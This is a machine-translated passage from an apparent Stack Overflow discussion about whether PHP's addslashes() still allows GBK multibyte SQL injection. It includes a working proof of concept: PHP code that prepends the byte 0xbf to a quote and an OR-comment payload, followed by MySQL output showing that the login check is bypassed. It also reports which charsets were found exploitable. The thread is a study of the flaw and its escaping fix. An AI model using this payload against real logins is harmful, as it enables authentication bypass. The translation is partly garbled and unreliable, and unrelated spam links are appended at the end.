mysql日志显示此查询

SELECT *

FROM   users

WHERE  username = '?\' OR username = username /*'

AND    password = 'guess'

很明显,这个技巧是行不通的

更新:请阅读我要问的问题。

我不在乎最佳实践,我不需要替代方案,我只需要确保它仍然有效即可。

更新:我也想提醒一下,此POC适用于GBK,SJIS或BIG5等字符集,每个人似乎都忘记了这一点。说斜线不安全时,使标题听起来有些吓人。

解决方案:就我而言,MySQL 5.5.9-log版本不允许未以/ *形式出现的内联注释。如果我使用-或#,则可以使用。

与addslashes()一起使用时仍然正确。尽管准备准备好的陈述

knittl您尝试过注射并且可以工作吗?

addlashes的行为没有改变,仍然可以在单字节字符上运行,并且没有考虑编码

是的,但是也许php 5.3或mysql 5.x进行了一些改进,导致查询在测试中似乎无效...

+1是成千上万个"我有代码才能使它工作"的问题中极为罕见的"它如何工作"的问题。你永远不会得到答案。因此,人们永远都不会理解他们回答的问题:)它深深体现了网站的性质。

@ColShrapnel:所以这是你闪耀的机会。不要给每个人以投票,而是一次深入地回答。

这里没有是/否答案。这可能取决于您的PHP,MySQL版本以及您是否使用libmysql或mysqlnd。尽管在这种情况下,它(在程序员方面)更多的是设计缺陷而不是漏洞利用,因此我不希望任何版本的PHP都能尝试解决此问题。

@mario不仅是一个:)我会定期发布此类问题。但是我只是好奇,我只有一个人要进行实际测试。

@Josh youve有"是"和"否"配置的特定示例,不是吗?

老实说,@ mario,你完全错了。我并没有拒绝所有人。我只拒绝错误的答案

仅在遇到诸如"...ORDER BY $order"之类的查询之前,"参数化查询"才是圣杯;

是的,注入示例当然仍然有效! addslashes的行为或GBK编码都没有改变。 ;)

看来对我有用。

MySQL的:

mysql> select version();

+---------------------+

| version()           |

+---------------------+

| 5.0.45-community-nt |

+---------------------+

1 row in set (0.00 sec)

mysql> CREATE TABLE users (

->     username VARCHAR(32) CHARACTER SET GBK,

->     password VARCHAR(32) CHARACTER SET GBK,

->     PRIMARY KEY (username)

-> );

Query OK, 0 rows affected (0.08 sec)

mysql> insert into users SET username='ewrfg', password='wer44';

Query OK, 1 row affected (0.02 sec)

mysql> insert into users SET username='ewrfg2', password='wer443';

Query OK, 1 row affected (0.03 sec)

mysql> insert into users SET username='ewrfg4', password='wer4434';

Query OK, 1 row affected (0.00 sec)

PHP:

[cc lang="php"]<?php

echo"PHP version:".PHP_VERSION."

";

mysql_connect();

mysql_select_db("test");

mysql_query("SET NAMES GBK");

$_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';

$_POST['password'] = 'guess';

$username = addslashes($_POST['username']);

$password = addslashes($_POST['password']);

$sql ="SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";

$result = mysql_query($sql) or trigger_error(mysql_error().$sql);

var_dump($username);

var_dump(mysql_num_rows($result));

var_dump(mysql_client_encoding());

$username = mysql_real_escape_string($_POST['username']);

$password = mysql_real_escape_string($_POST['password']);

$sql ="SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";

$result = mysql_query($sql) or trigger_error(mysql_error().$sql);

var_dump($username);

var_dump(mysql_num_rows($result));

var_dump(mysql_client_encoding());

mysql_set_charset("GBK");

$username = mysql_real_escape_string($_POST['username']);

$password = mysql_real_escape_string($_POST['password']);

$sql ="SELECT * FROM  users WHERE  username = '$username' AND password = '$password'";

$result = mysql_query($sql) or trigger_error(mysql_error().$sql);

var_dump($username);

var_dump(mysql_num_rows($result));

var_dump(mysql_client_encoding());

结果:

PHP version: 5.3.3

string(29)"?\' OR username = username /*"

int(3)

string(6)"latin1"

string(29)"?\' OR username = username /*"

int(3)

string(6)"latin1"

string(30)"\?\' OR username = username /*"

int(0)

string(3)"gbk"

结论:

A second result going to be most surprising for those who chants"you should use mres instead of addslashes!"

好的,您能告诉我您的配置吗? MySQL的/ PHP的/ OS的?谢谢

@danip yup,刚刚添加了它。赢得。

它也适用于Linux上的MySQL 5.5.4 / PHP 5.3.6。我的数据库以ANSI模式运行,因此我不得不用`--`替换`/ *`

十六进制值混合的时刻是什么时候?如果我回显sql,注入应该可见?还是在日志文件中?

@danip可以看到不同之处(已将转义结果添加到输出中)。看来?\代表GBK中的单个字符

但是,在哪里加号?我只看到mysql_real_escape_string

@danip oops,有错字。第一个应该是。疾病会在一秒钟内纠正。结果仍然一样

所以从我看到的查询发送到mysql之前是不正确的。在这种情况下,mysql_real_escape_string为我工作,如果我做一个简单的echo就可以看到注入。但是addslashes对我没有任何帮助。

@danip mres仅在由mysql_set_charset()或服务器配置设置了客户端编码时才有效(如Shifletts文章中所述)。

注意:当我发表以前的评论说"它也对我有用"时,我指的是Shiffletts原始PoC代码。我没有尝试过在这里发布的代码。另外,不建议使用SET NAMES(根据PHP手册),而应该使用mysqli::set_charset。

@danip它已经在代码中,我最近将其添加到每个块中。

好了,弹片,谢谢您的帮助。非常感谢您的宝贵时间。

@danip感谢您提出的有趣问题。但是,我仍然不明白为什么代码失败。

那就是我试图找出的。我的事它与mysql有关。当我对mysql_real_escape_string的示例使用加号时,导致查询失败,注入有效。

我还使用带MySQL 5.5.9-log和PHP版本5.3.5的fedora,所以有区别。

@danip您为$ db类使用什么驱动程序?

就像您的示例一样,简单的ext / mysql驱动程序

有趣的是,此查询-SELECT * as x FROM users where username = OR username = username / * AND password =猜测-在我的mysql版本上没有返回结果。您能否确认自己正在返回结果?

好。我有问题。注释必须为#或-像/ *这样的嵌入式注释将不再返回结果(如果未完成)

为了让您获得'?\',我猜您使用的是0x??5c多字节字符而不是0x??27多字节字符。

我在服务器上得到以下结果(导致成功注入的经过测试的代码点数):

SJIS:47/47

SJIS获胜:58/58

EUC-CN:0/95

CP936:126/126

BIG-5:89/94

EUC-KR:0/93

我没有测试MySQL的其他可用字符集,因为它们在PHP的mbstring扩展中不可用,因此我无法快速确定那些编码中存在哪些多字节字符。我也只尝试了双字节字符,因此可能会有更多易受攻击的字符集。

同样,如果表数据使用与客户端设置相同的编码,则也有帮助。否则,对于许多潜在的代码点,您会收到"排序规则的非法混合"错误。

这让我疯狂! 0x27和0xBF在GBK中代表什么?另外,我想了解您的答案...

@Raffaele:正如Chris Shifletts文章所述,0x27是GBK中的单引号(),而0xBF是。该答案总结了遍历每个字符集的结果,寻找以0x5c()结尾的有效多字节字符串,然后使用前一个mbstring + 0x27的第一个字节构造另一个多字节字符串。这样,当mysql_real_escape_string()在2个字节之间添加反斜杠时,该反斜杠将作为新的mbstring(0x??5c)被吃掉,并在其后留下未转义的反斜杠(0x27)。

糟糕,最后一句话应为:...在其后留下一个不转义的单引号。

php mysql addslashes,关于mysql:Php addslashes sql注入仍然有效吗?相关推荐

  1. mysql监测攻击_如何检测SQL注入技术以及跨站脚本攻击

    展开全部 在最近两年中,安全专家应该对网络应用层的攻击更加重e69da5e887aa62616964757a686964616f31333339666164视.因为无论你有多强壮的防火墙规则设置或者非 ...

  2. sql注入 mysql 猜数据库名字_web渗透-SQL注入数据库信息盗取

    sql注入原理 脚本代码接收来自前端数据未进行过滤,导致恶意sql语句插入到数据库中查询执行. 如下代码: $id = $_GET['id']; $sql = "select * from ...

  3. mysql 字符串运算_使用MySQL字符串运算实施精巧化SQL注入攻击

    我们先来看这样一个场景. 有以下表结构: mysql> desc admin; +----------+--------------+------+-----+---------+------- ...

  4. tp3.2 mysql elt出错_ThinkPHP3.2.3 SQL注入漏洞分析

    where注入 在控制器写如下demo开始测试public function ghtwf01(){ $data = M('users')->where('id='.I('id'))->fi ...

  5. concat mysql sql注入_Mysql中用concat函数执行SQL注入查询的方法

    Mysql数据库使用concat函数执行SQL注入查询 SQL注入语句有时候会使用替换查询技术,就是让原有的查询语句查不到结果出错,而让自己构造的查询语句执行,并把执行结果代替原有查询语句查询结果显示 ...

  6. php mysql 注入漏洞_PHP安全:SQL注入漏洞防护

    原标题:PHP安全:SQL注入漏洞防护 SQL注入是最危险的漏洞之一,但也是最好防护的漏洞之一.本文介绍在PHP的编码中合理地使用MySQL提供的预编译进行SQL注入防护,在PHP中使用PHP数据对象 ...

  7. yii mysql语法_yii2 + mysql 常用增删改查操作语法以及事务

    关于数据库mysql的使用: 1.查询: Salesorderitem::find()-asArray()-where([order_id=$order_id])-all():Salesorderit ...

  8. php判断post是否xss,PHP实现表单提交数据的验证处理功能【防SQL注入和XSS攻击等】...

    本文实例讲述了PHP实现表单提交数据的验证处理功能.分享给大家供大家参考,具体如下: 防XSS攻击代码: /** * 安全过滤函数 * * @param $string * @return strin ...

  9. Web渗透-SQL注入

    渗透测试基础 一.渗透攻击流程 二.渗透测试主流工具 域名注册信息查询: Whois在线查询目标网络信息DNS和IP,nslookup 在线漏洞搜索引擎: fofa.info,shodan.io,zo ...

  10. ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入

    0x01 前言 准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点. 在计算机中,字符的表示与存储都离不开编码.例如ASCII,utf-8,gbk2312等.通常字符的表示都只需1 ...

最新文章

  1. Android之传感器(一)
  2. 五、springcloud之客户端负载均衡Ribbon
  3. android handler的机制和原理_一文搞懂handler:彻底明白Android消息机制的原理及源码
  4. python白名单验证-JWT黑名单和白名单
  5. html 物流状态,css+html如何实现物流进度样式(代码示例)
  6. 测试的时候数据库外键导致死锁_Oracle外键不加索引会引起死锁问题
  7. HDFS HA模式下支持只连接其中Active的NameNode
  8. P6085-[JSOI2013]吃货JYY【状压dp,欧拉回路】
  9. 使用ogg实现oracle到kafka的增量数据实时同步
  10. 福师离线 微型计算机与外部,福师《计算机应用基础》离线作业答案
  11. java与python反转Ture与False的方法
  12. 交流信号叠加直流偏置_高速数字电路设计通关五部曲(二):接口信号匹配与对接...
  13. 模式识别与机器学习(一):概率论、决策论、信息论
  14. Android SDK 下载安装及配置
  15. 2020计算机软考初级都考什么,软考都考什么内容
  16. 最常用的编写Linux脚本命令和语法
  17. C语言发展史的点点滴滴
  18. python中将字符变为大写_python如何把小写字母变成大写字母
  19. centos8修改系统语言为中文
  20. Ubuntu16.04+RTX3090+python3+cuda11.1+ CUDNN  8.04+anaconda3+pytorch-nightly深度学习环境搭建实录

热门文章

  1. 色盲怎么学计算机,体检标准变成建议 色盲色弱能报高校计算机专业
  2. 在PPT里如何做出晶莹剔透的高级水泡感出来呢
  3. 学习笔记(01):程序员的数学:线性代数-矩阵的加法、乘法、转置
  4. 【沃顿商学院学习笔记】商业基础——Financing:07 决策 Decision Maker
  5. rancher 部署和实践
  6. 基于UWB的高精度定位
  7. onscroll 事件
  8. vue 中生成带logo的二维码vue-qr(可换背景) 利用qrcode生成二维码
  9. Python 错误 SyntaxError: Non-ASCII character ‘\xe4‘ in file
  10. MPC5744之时钟(1)